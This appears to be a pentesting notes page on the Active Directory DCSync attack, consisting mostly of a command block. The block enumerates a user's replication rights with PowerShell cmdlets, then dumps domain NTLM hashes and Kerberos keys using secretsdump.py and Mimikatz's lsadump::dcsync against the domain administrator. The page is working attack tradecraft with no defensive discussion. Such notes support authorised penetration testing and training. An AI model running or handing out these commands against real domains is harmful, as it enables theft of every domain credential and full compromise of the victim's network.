> For the complete documentation index, see [llms.txt](https://strange-1.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strange-1.gitbook.io/notes/active-directory/acl/dcsync.md).

# DCSync

```powershell
# Using Get-DomainUser to View user's Group Membership
Get-DomainUser -Identity eren  |select samaccountname,objectsid,memberof,useraccountcontrol |fl

# Note SID and domain 

# Using Get-ObjectAcl to Check user's Replication Rights
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=domain,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

# Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py
secretsdump.py -outputfile extracted_hashes -just-dc DOMAIN/eren@ip

# Performing the Attack with Mimikatz
.\mimikatz.exe
lsadump::dcsync /domain:DOMAIN.LOCAL /user:DOMAIN\administrator
```